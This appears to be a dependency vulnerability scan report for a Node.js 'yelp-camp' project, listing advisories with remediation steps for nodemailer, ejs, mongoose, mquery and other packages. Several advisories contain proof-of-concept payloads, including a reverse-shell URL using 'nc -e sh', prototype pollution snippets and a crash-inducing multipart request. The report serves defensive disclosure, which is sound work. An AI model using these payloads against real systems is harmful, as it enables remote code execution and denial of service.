Vulnerabilities

22 via 24 paths

Dependencies

197

Source

GitHub

Commit

00f9f363

Find, fix and prevent vulnerabilities in your code.

Severity
  • 11
  • 11
Status
  • 22
  • 0
  • 0

high severity

Command Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@4.7.0

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be nodemailer@4.7.0
    Remediation: Upgrade to nodemailer@6.4.16.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Command Injection. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.

PoC

-bi@example.com (-bi Initialize the alias database.)
-d0.1a@example.com (The option -d0.1 prints the version of sendmail and the options it was compiled with.)
-Dfilename@example.com (Debug output ffile)

Remediation

Upgrade nodemailer to version 6.4.16 or higher.

References

high severity

Internal Property Tampering

  • Vulnerable module: bson
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21 bson@1.0.9
    Remediation: Upgrade to mongoose@5.3.9.
  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21 mongodb@2.2.34 mongodb-core@2.1.18 bson@1.0.9
    Remediation: Upgrade to mongoose@5.2.9.

Overview

bson is a BSON Parser for node and browser.

Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.

NOTE: This vulnerability has also been identified as: CVE-2019-2391

Remediation

Upgrade bson to version 1.1.4 or higher.

References

high severity

Internal Property Tampering

  • Vulnerable module: bson
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21 bson@1.0.9
    Remediation: Upgrade to mongoose@5.3.9.
  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21 mongodb@2.2.34 mongodb-core@2.1.18 bson@1.0.9
    Remediation: Upgrade to mongoose@5.2.9.

Overview

bson is a BSON Parser for node and browser.

Affected versions of this package are vulnerable to Internal Property Tampering. The package will ignore an unknown value for an object's _bsotype, leading to cases where an object is serialized as a document rather than the intended BSON type.

NOTE: This vulnerability has also been identified as: CVE-2020-7610

Remediation

Upgrade bson to version 1.1.4 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: ejs@2.7.4

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be ejs@2.7.4
    Remediation: Upgrade to ejs@3.1.7.

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: mongoose
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21
    Remediation: Upgrade to mongoose@5.13.20.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution in document.js, via update functions such as findByIdAndUpdate(). This allows attackers to achieve remote code execution.

Note: Only applications using Express and EJS are vulnerable.

PoC


import { connect, model, Schema } from 'mongoose';

await connect('mongodb://127.0.0.1:27017/exploit');

const Example = model('Example', new Schema({ hello: String }));

const example = await new Example({ hello: 'world!' }).save();
await Example.findByIdAndUpdate(example._id, {
    $rename: {
        hello: '__proto__.polluted'
    }
});

// this is what causes the pollution
await Example.find();

const test = {};
console.log(test.polluted); // world!
console.log(Object.prototype); // [Object: null prototype] { polluted: 'world!' }

process.exit();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mongoose to version 5.13.20, 6.11.3, 7.3.4 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: async
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21 async@2.6.0
    Remediation: Upgrade to mongoose@5.7.3.

Overview

Affected versions of this package are vulnerable to Prototype Pollution via the mapValues() method, due to improper check in createObjectIterator function.

PoC

//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))
const hasOwn = JSON.parse('{"__proto__": {"isAdmin": true}}');

//does not have the property,  because it's inside object's own "__proto__"
console.log(hasOwn.isAdmin);

async.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {
  // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.
  console.log(result.isAdmin);
});

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade async to version 2.6.4, 3.2.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: dicer
  • Introduced through: multer@1.4.4

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be multer@1.4.4 busboy@0.2.14 dicer@0.2.5

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS). A malicious attacker can send a modified form to server, and crash the nodejs service. An attacker could sent the payload again and again so that the service continuously crashes.

PoC:

    fetch('form-image', {
      method: 'POST',
      headers: {
        ['content-type']: 'multipart/form-data; boundary=----WebKitFormBoundaryoo6vortfDzBsDiro',
        ['content-length']: '145',
        host: '127.0.0.1:8000',
        connection: 'keep-alive',
      },
      body: '------WebKitFormBoundaryoo6vortfDzBsDiro\r\n Content-Disposition: form-data; name="bildbeschreibung"\r\n\r\n\r\n------WebKitFormBoundaryoo6vortfDzBsDiro--'
    });

Remediation

There is no fixed version for dicer.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: mongodb
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21 mongodb@2.2.34
    Remediation: Upgrade to mongoose@5.4.10.

Overview

mongodb is an official MongoDB driver for Node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to properly catch an exception when a collection name is invalid and the DB does not exist, crashing the application.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade mongodb to version 3.1.13 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: mquery
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21 mquery@2.3.3
    Remediation: Upgrade to mongoose@5.12.3.

Overview

mquery is an Expressive query building for MongoDB

Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone() function.

PoC by zhou, peng

mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mquery to version 3.2.5 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: mquery
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21 mquery@2.3.3
    Remediation: Upgrade to mongoose@5.11.7.

Overview

mquery is an Expressive query building for MongoDB

Affected versions of this package are vulnerable to Prototype Pollution via the merge function within lib/utils.js. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

PoC

   require('./env').getCollection(function(err, collection) {
      assert.ifError(err);
      col = collection;
      done();
    });
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
    var m = mquery(payload);
    console.log({}.polluted);
// The empty object {} will have a property called polluted which will print vulnerable

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mquery to version 3.2.3 or higher.

References

high severity

Prototype Pollution

  • Vulnerable module: mongoose
  • Introduced through: mongoose@4.13.21

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be mongoose@4.13.21
    Remediation: Upgrade to mongoose@5.13.15.

Overview

mongoose is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution in the Schema.path() function.

Note: CVE-2022-24304 is a duplicate of CVE-2022-2564.

PoC:

const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString())

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade mongoose to version 5.13.15, 6.4.6 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: request
  • Introduced through: geocoder@0.2.3

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be geocoder@0.2.3 request@2.88.2

Overview

request is a simplified http request client.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: request package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Prototype Pollution

  • Vulnerable module: tough-cookie
  • Introduced through: geocoder@0.2.3

Detailed paths

  • Introduced through: yelp-camp@lucasweng/yelp-camp#00f9f363411f52c609fb9c5bf087bc38e3d995be geocoder@0.2.3 request@2.88.2 tough-cookie@2.5.0

Overview

tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.

Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.

PoC

// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
  "Slonser=polluted; Domain=__proto__; Path=/notauth",
  "https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
  "Auth=Lol; Domain=google.com; Path=/notauth",
  "https://google.com/"
);

//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade tough-cookie to version 4.1.3 or higher.

References

medium severity

HTTP Header Injection

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@4.7.0

Detailed paths

